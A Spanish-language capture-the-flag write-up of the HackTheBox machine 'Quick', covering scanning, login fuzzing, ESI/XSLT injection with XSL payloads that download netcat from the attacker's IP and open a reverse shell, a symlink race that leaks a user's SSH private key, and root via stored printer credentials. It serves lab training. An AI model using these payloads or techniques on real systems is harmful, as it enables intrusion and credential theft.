Quick es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Quick 10.10.10.186 a /etc/hosts como quick.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Wed May 20 19:03:33 2020 as: nmap -sV -Pn -oA quick-nmap 10.10.10.186 Nmap scan report for 10.10.10.186 Host is up (0.052s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 9001/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed May 20 19:04:09 2020 -- 1 IP address (1 host up) scanned in 36.08 seconds |
Observamos dos puertos abiertos, el 22 para el que no tenemos acceso todavía y el puerto 9001 que aloja una página web, accedemos por el navegador y vemos el siguiente portal:
Enumeración
Recorremos el site y encontramos un enlace a la página de https://portal.quick.htb pero no hemos descubierto el puerto 443 así que por el momento lo dejamos.
Lanzamos dirb para encontrar posibles páginas más existentes en el portal y obtenemos el siguiente listado:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 20 19:49:23 2020 URL_BASE: http://10.10.10.186:9001/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt EXTENSIONS_LIST: (.php) | (.php) [NUM = 1] ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://10.10.10.186:9001/ ---- + http://10.10.10.186:9001/clients.php (CODE:200|SIZE:2698) + http://10.10.10.186:9001/db.php (CODE:200|SIZE:0) + http://10.10.10.186:9001/home.php (CODE:200|SIZE:86) + http://10.10.10.186:9001/index.php (CODE:200|SIZE:3353) + http://10.10.10.186:9001/login.php (CODE:200|SIZE:4345) + http://10.10.10.186:9001/search.php (CODE:200|SIZE:1) + http://10.10.10.186:9001/ticket.php (CODE:200|SIZE:86) ----------------- END_TIME: Thu May 20 19:09:17 2020 DOWNLOADED: 20458 - FOUND: 10 |
Recorremos las posibles webs, a la página de ticket no tenemos acceso, necesitamos previamente autenticarnos pero no tenemos credenciales.
Creamos un diccionario con cewl basándonos en el contenido de las páginas index y clients:
1 2 |
cewl http://quick.htb:9001/clients.php -w pass.txt cewl http://quick.htb:9001/ -w pass.txt |
Pero tampoco conseguimos acceder así que volveremos a escanear con nmap, en este caso por udp, a ver si damos con el puerto 443:
1 2 3 4 5 6 7 8 |
# Nmap 7.80 scan initiated Thu May 21 17:43:19 2020 as: nmap -sU -Pn -oA quick-udp-nmap 10.10.10.186 Nmap scan report for quick.htb (10.10.10.186) Host is up (0.060s latency). Not shown: 999 closed ports PORT STATE SERVICE 443/udp open|filtered https # Nmap done at Thu May 21 18:01:28 2020 -- 1 IP address (1 host up) scanned in 1088.41 seconds |
Y parece que sí pero no podemos acceder por udp de una forma sencilla, para ello necesitamos utilizar HTTP/3 y para ello necesitaremos utilizar la herramienta cargo junto con quiche, así que instalaremos las mismas como indica la documentación de rustc y quiche.
Una vez hecho lanzaremos cargo para acceder a través de este puerto udp y conseguiremos la siguiente página html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://quick.htb Finished dev [unoptimized + debuginfo] target(s) in 0.16s Running `tools/apps/target/debug/quiche-client --no-verify 'https://quick.htb'` <html> <title> Quick | Customer Portal</title> <h1>Quick | Portal</h1> <head> <style> ul { list-style-type: none; margin: 0; padding: 0; width: 200px; background-color: #f1f1f1; } li a { display: block; color: #000; padding: 8px 16px; text-decoration: none; } /* Change the link color on hover */ li a:hover { background-color: #555; color: white; } </style> </head> <body> <p> Welcome to Quick User Portal</p> <ul> <li><a href="index.php">Home</a></li> <li><a href="index.php?view=contact">Contact</a></li> <li><a href="index.php?view=about">About</a></li> <li><a href="index.php?view=docs">References</a></li> </ul> </html> |
Donde observamos tres enlaces más a distinto contenido.
La sección de contact nos muestra un simple formulario de contacto, en la cual no hay nada interesante, lo mismo pasa con la página about que nos muestra datos de 3 usuarios del portal que añadiremos a nuestro diccionario y la tercera, docs incluye 2 ficheros en formato pdf.
Descargaremos los mismos también con cargo:
1 2 3 4 5 6 |
$ cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://quick.htb/docs/QuickStart.pdf >> QuickStart.pdf Finished dev [unoptimized + debuginfo] target(s) in 0.18s Running `tools/apps/target/debug/quiche-client --no-verify 'https://quick.htb/docs/QuickStart.pdf'` $ cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://quick.htb/docs/Connectivity.pdf >> Connectivity.pdf Finished dev [unoptimized + debuginfo] target(s) in 0.17s Running `tools/apps/target/debug/quiche-client --no-verify 'https://quick.htb/docs/Connectivity.pdf'` |
Revisamos los documentos y en el fichero Connectivity.pdf encontramos una contraseña de acceso, aunque no especifica el usuario:
Así que volveremos a la página de login que tiene el siguiente aspecto:
Y lanzaremos un ataque con wfuzz para intentar acceder con alguno de los usuarios conocidos y la password y boom, nos logueamos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ wfuzz -u http://10.10.10.186:9001/login.php -w dictionary/users.txt -d "email=FUZZ&password=Quick4cc3$$" --hc 200 ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.186:9001/login.php Total requests: 7 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000006: 302 0 L 0 W 0 Ch "elisa@wink.co.uk" Total time: 0.147676 Processed Requests: 7 Filtered Requests: 6 Requests/sec.: 47.40076 |
Con el acceso verificado, nos logueamos en el portal y llegamos a una página con un framework de seguimiento de tickets:
Donde tenemos un formulario para la creación de tickets propios:
Y que posteriormente podemos ver a través del formulario de la página de inicio de esta sección:
Aunque si nos fijamos en el código fuente también podemos hacerlo a través de la url:
1 |
http://quick.htb:9001/search.php?search=TKT-ID |
Revisamos el portal, código fuente, peticiones y encontramos una cabecera interesante que nos indica de que software se trata:
1 |
X-Powered-By: esigate |
Buscamos en google información de Esigate y descubrimos que se trata de un acelerador e integrador de aplicaciones web, así que buscaremos posibles vulnerabilidades, consiguiendo averiguar que es vulnerable a inyecciones de código XSLT, por lo que ya sabemos por donde podríamos saltarnos esta página.
Buscamos más información acerca de como realizar este tipo de ataques y encontramos un post muy interesante que explica la Inyección ESI.
Conocido como funciona necesitaremos enviar nuestro fichero xml mediante una inyección ESI, por lo que hemos creado 6 ficheros, 3 en xsl y 3 en xml.
En el caso del xml este sería un ejemplo:
1 2 |
$ cat xslt/step1.xml <esi:include+src="http://10.10.14.239/step1.xml"+stylesheet="http://10.10.14.239/step1.xsl"></esi:include> |
Tendremos que enviar tres peticiones con cada uno de nuestros ficheros, y los ficheros xsl serían los siguientes:
En el primer paso subiremos el binario de nc para conseguir nuestra shell inversa:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ cat xslt/step1.xsl <?xml version="1.0" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" omit-xml-declaration="yes"/> <xsl:template match="/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> <root> <xsl:variable name="cmd"><![CDATA[wget http://10.10.14.239/nc]]></xsl:variable> <xsl:variable name="rtObj" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/> Process: <xsl:value-of select="$process"/> Command: <xsl:value-of select="$cmd"/> </root> </xsl:template> </xsl:stylesheet> |
En el segundo paso daremos permisos de ejecución al binario de nc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ cat xslt/step2.xsl <?xml version="1.0" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" omit-xml-declaration="yes"/> <xsl:template match="/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> <root> <xsl:variable name="cmd"><![CDATA[chmod +x nc]]></xsl:variable> <xsl:variable name="rtObj" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/> Process: <xsl:value-of select="$process"/> Command: <xsl:value-of select="$cmd"/> </root> </xsl:template> </xsl:stylesheet> |
Y en el tercer paso lanzaremos nuestra shell inversa:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ cat xslt/step3.xsl <?xml version="1.0" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" omit-xml-declaration="yes"/> <xsl:template match="/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> <root> <xsl:variable name="cmd"><![CDATA[./nc -e /bin/bash 10.10.14.239 4444]]></xsl:variable> <xsl:variable name="rtObj" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/> Process: <xsl:value-of select="$process"/> Command: <xsl:value-of select="$cmd"/> </root> </xsl:template> </xsl:stylesheet> |
Una vez enviada cada petición haremos la ejecución haciendo la llamada al ticket en cuestión:
Obteniendo la flag de user
Una vez completados los anteriores pasos, obtendremos una shell con el usuario sam y con ello la flag de user:
1 2 3 4 5 6 7 8 9 10 |
$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from (UNKNOWN) [10.10.10.186] 41296 id uid=1000(sam) gid=1000(sam) groups=1000(sam) ls -l total 44 drwxr-xr-x 5 sam sam 4096 Mar 20 03:01 esigate-distribution-5.2 -rwxrwxr-x 1 sam sam 35520 May 21 21:59 nc -r-------- 1 sam sam 33 May 21 22:32 user.txt |
Ahora, para poder disponer de una consola en condiciones, nos creamos una clave ssh y la añadimos al fichero authorized_keys del usuario:
1 |
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5BVOqqzhbqxfVmZ0B/UVklJQBGQ6FmBEgO/N1rV21eAQ9B78DJ+O3nMCYTfPZIu4pkP1gqjHQN6JK6OsezvmNTi2lHtO8GSsjV98CJlpSUooOH6CR3TaPXckv+podfp72SEkyp6A/wy85OF2KptdD0Zq+BdGlvqzbdrmVkI9T0pam7OMGiQa9rdiufjRAN2s/bB+TsjVZcW8w8bwVFJvSznfZdVb8gKTieTV61WP+fMs4aorvWS1mkXP5aDkXdCo3/GztO86HCLPImZeBKJhVoF1cNXPO+TcjzSaS9+b1mFGLiGOCj0F7y8cSil6thxLRjWx47pwwJk8sBi/Vyy0lXKWSyLXC+BE3h2nNHs3X17uu3CXpDjE6/zrVSgO4Mjkq24HMQ1cCY17E818Wgxluriw+xQWxDNGq1RvWDzG3vQH9Z7ZAOtINVXXdX9NRhEOg1eRT9W0/7HuZQmmWiYeyVRqSyVHd6sU7wIpiOwHvhpKhf00AeHpjqIZ6DBW6+cM=" >> .ssh/authorized_keys |
Y accedemos por ssh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh -i /home/asdf/.ssh/quick-sam.pem sam@quick.htb The authenticity of host 'quick.htb (10.10.10.186)' can't be established. ECDSA key fingerprint is SHA256:kEX5biAHQdV0la1P6VUH52+0TprzbPr+r0UfSni9aRk. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'quick.htb,10.10.10.186' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu May 21 22:39:43 UTC 2020 System load: 0.01 Users logged in: 0 Usage of /: 30.2% of 19.56GB IP address for ens33: 10.10.10.186 Memory usage: 17% IP address for br-9ef1bb2e82cd: 172.18.0.1 Swap usage: 0% IP address for docker0: 172.17.0.1 Processes: 134 * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 54 packages can be updated. 28 updates are security updates. Last login: Fri Mar 20 01:33:16 2020 sam@quick:~$ |
Escalado de privilegios
Una vez conseguida la shell comenzamos a revisar el sistema a ver que posibilidades tenemos a la hora de escalar privilegios en la máquina.
Revisamos el site y el fichero db.php con el que no pudimos hacer nada desde el navegador y obtenemos unas credenciales de acceso a mysql:
1 2 3 4 5 |
sam@quick:/var/www/html$ cat db.php <?php $conn = new mysqli("localhost","db_adm","db_p4ss","quick"); ?> sam@quick:/var/www/html$ |
Probamos el acceso y esto es lo que nos encontramos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
sam@quick:/var/www/html$ mysql -u db_adm -p"db_p4ss" quick mysql: [Warning] Using a password on the command line interface can be insecure. Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 18 Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu) Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | quick | | sys | +--------------------+ 5 rows in set (0.00 sec) mysql> show tables; +-----------------+ | Tables_in_quick | +-----------------+ | jobs | | tickets | | users | +-----------------+ 3 rows in set (0.00 sec) mysql> select * from jobs; Empty set (0.00 sec) mysql> select * from users; +--------------+------------------+----------------------------------+ | name | email | password | +--------------+------------------+----------------------------------+ | Elisa | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d | | Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 | +--------------+------------------+----------------------------------+ 2 rows in set (0.00 sec) mysql> |
Obtenemos unas contraseñas cifradas en md5, las pasamos por varias herramientas como John o hashcat y algunas online pero no conseguimos descifrar la password del user srvadm así que siguiendo con la búsqueda, encontramos la forma en la que se codifican las mismas en otro fichero del portal.
Crearemos un siguiente script en php para descifrarla:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<?php $hash = "e626d51f8fbfd1124fdea88396c35d05"; echo "Hash to decode: " . $hash . "\n"; $handle = fopen("/usr/share/wordlists/rockyou.txt", "r"); if ($handle) { while (($line = fgets($handle)) !== false) { $str = trim($line); $pass = md5(crypt($str, 'fa')); if ($hash == $pass){ echo "Password found: " . $line; exit(0); } } fclose($handle); } else { echo "Error opening file"; } ?> |
Lo ejecutamos y boom, tenemos la password del usuario srvadm@quick.htb:
1 2 3 |
$ php decrypter.php Hash to decode: e626d51f8fbfd1124fdea88396c35d05 Password found: yl51pbx |
Ahora necesitaremos conocer donde tenemos que loguearnos así que revisamos los sites existentes configurados en apache:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
sam@quick:/var/www/printer$ apachectl -S AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message VirtualHost configuration: *:80 is a NameVirtualHost default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1) port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1) port 80 namevhost printerv2.quick.htb (/etc/apache2/sites-enabled/000-default.conf:30) ServerRoot: "/etc/apache2" Main DocumentRoot: "/var/www/html" Main ErrorLog: "/var/log/apache2/error.log" Mutex default: dir="/var/run/apache2/" mechanism=default Mutex mpm-accept: using_defaults Mutex watchdog-callback: using_defaults PidFile: "/var/run/apache2/apache2.pid" Define: DUMP_VHOSTS Define: DUMP_RUN_CFG User: name="www-data" id=33 not_used Group: name="www-data" id=33 not_used |
Y encontramos el site printerv2.quick.htb, el cual sólo responde al puerto 80 en local por lo que nos creamos un tunel en el puerto 80 local para acceder al puerto de la instancia desde localhost:
1 |
ssh -i /home/asdf/.ssh/quick-sam.pem -L 80:127.0.0.1:80 sam@quick.htb |
Añadimos el dominio a nuestro fichero en /etc/hosts y accedemos por el navegador obteniendo la siguiente pantalla de login:
Nos logueamos con las credenciales obteniedas y tenemos un portal de gestión de impresoras:
Hacemos varias pruebas de creación de impresoras para ver su funcionamiento y analizamos el código y encontramos una condición de carrera en el fichero job.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
<?php require __DIR__ . '/escpos-php/vendor/autoload.php'; use Mike42\Escpos\PrintConnectors\NetworkPrintConnector; use Mike42\Escpos\Printer; include("db.php"); session_start(); if($_SESSION["loggedin"]) { if(isset($_POST["submit"])) { $title=$_POST["title"]; $file = date("Y-m-d_H:i:s"); file_put_contents("/var/www/jobs/".$file,$_POST["desc"]); chmod("/var/www/printer/jobs/".$file,"0777"); $stmt=$conn->prepare("select ip,port from jobs"); $stmt->execute(); $result=$stmt->get_result(); if($result->num_rows > 0) { $row=$result->fetch_assoc(); $ip=$row["ip"]; $port=$row["port"]; try { $connector = new NetworkPrintConnector($ip,$port); sleep(0.5); //Buffer for socket check $printer = new Printer($connector); $printer -> text(file_get_contents("/var/www/jobs/".$file)); $printer -> cut(); $printer -> close(); $message="Job assigned"; unlink("/var/www/jobs/".$file); } catch(Exception $error) { $error="Can't connect to printer."; unlink("/var/www/jobs/".$file); } } else { $error="Couldn't find printer."; } } |
Tal como se ve en el código cuando creamos un job se guarda en la carpeta jobs con la fecha y hora actual como nombre así que vamos a crear un script con el cual crearemos un enlace del fichero del job a la clave ssh del usuario srvadmin de la máquina:
1 2 3 4 5 6 7 8 |
cd /var/www/jobs while true; do for file in $(ls .);do rm -f ${file} ln -s /home/srvadm/.ssh/id_rsa ${file} done done |
Ejecutamos nuestro script, ponemos una escucha en local con netcat, creamos nuestra impresora y lanzamos la creación de un job con un nombre aleatorio:
Y conseguimos en nuestra escucha la clave ssh del usuario srvadm (para evitar un copia pega completo no se muestra la clave completa):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from quick.htb [10.10.10.186] 33724 -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P AP1UWD26CAaDy4J7B2f5M/o5XEYIZeR+KKSh+mD//FOy+O3sqIX37anFqqvhJQ6D 1L2WOskWoyZzGqb8r94gN9TXW8TRlz7hMqq2jfWBgGm3YVzMKYSYsWi6dVYTlVGY DLNb/88agUQGR8cANRis/2ckWK+GiyTo5pgZacnSN/61p1Ctv0IC/zCOI5p9CKnd whOvbmjzNvh/b0eXbYQ/Rp5ryLuSJLZ1aPrtK+LCnqjKK0hwH8gKkdZk/d3Ofq4i ... ... ... pXX7hULBz/XcjiXvKkyhi9kxOPX/2voZcD9hfcYmOxZ466iOxIoHkuUX38oIEuwa GeJol9xBidN386kj8sUGZxiiUNoCne5jrxQObddX5XCtXELh43HnMNyqQpazFo8c Wp0/DlGaTtN+s+r/zu9Z8SECgYEAtfvuZvyK/ZWC6AS9oTiJWovNH0DfggsC82Ip LHVsjBUBvGaSyvWaRlXDaNZsmMElRXVBncwM/+BPn33/2c4f5QyH2i67wNpYF0e/ 2tvbkilIVqZ+ERKOxHhvQ8hzontbBCp5Vv4E/Q/3uTLPJUy5iL4ud7iJ8SOHQF4o x5pnJSECgYEA4gk6oVOHMVtxrXh3ASZyQIn6VKO+cIXHj72RAsFAD/98intvVsA3 +DvKZu+NeroPtaI7NZv6muiaK7ZZgGcp4zEHRwxM+xQvxJpd3YzaKWZbCIPDDT/u NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA= -----END RSA PRIVATE KEY----- VA |
Probamos el acceso con la misma y estamos dentro con el usuario srvadm:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh -i /home/asdf/.ssh/srvadm.pem srvadm@quick.htb Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri May 22 07:26:07 UTC 2020 System load: 0.85 Users logged in: 1 Usage of /: 30.1% of 19.56GB IP address for ens33: 10.10.10.186 Memory usage: 17% IP address for br-9ef1bb2e82cd: 172.18.0.1 Swap usage: 0% IP address for docker0: 172.17.0.1 Processes: 129 * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 54 packages can be updated. 28 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Mar 20 05:56:02 2020 from 172.16.118.129 srvadm@quick:~$ id uid=1001(srvadm) gid=1001(srvadm) groups=1001(srvadm),999(printers) srvadm@quick:~$ |
Ya queda menos para root, volvemos a enumerar la máquina con este usuario y encontramos un fichero intersante en la carpeta .cache/conf.d de la home del usuario:
1 2 3 4 5 |
srvadm@quick:~/.cache/conf.d$ ls -l total 12 -rw-r--r-- 1 srvadm srvadm 4569 Mar 20 06:20 cupsd.conf -rw-r--r-- 1 srvadm srvadm 4038 Mar 20 06:23 printers.conf srvadm@quick:~/.cache/conf.d$ |
Y encontramos unas credenciales en la siguiente línea del fichero printers.conf
1 |
DeviceURI https://srvadm%40quick.htb:%26ftQXXXXXX%3F@printerv3.quick.htb/printer |
Obteniendo la flag de root
Decodificaremos la url que obtuvimos en el último paso y probaremos el acceso a root y boom!, somos root:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
srvadm@quick:~/.cache/conf.d$ su - root Password: root@quick:~# id uid=0(root) gid=0(root) groups=0(root) root@quick:~# ls -l total 24 -rw-r--r-- 1 root root 514 Mar 21 03:04 docker-compose.yml -rw-r--r-- 1 root root 1269 Mar 20 02:52 fullchain.pem -rw-r--r-- 1 root root 1135 Mar 20 02:54 nginx.conf drwxr-xr-x 3 root root 4096 Mar 18 09:21 portal -rw------- 1 root root 1704 Mar 20 02:52 privkey.pem -r-------- 1 root root 33 May 22 04:13 root.txt root@quick:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792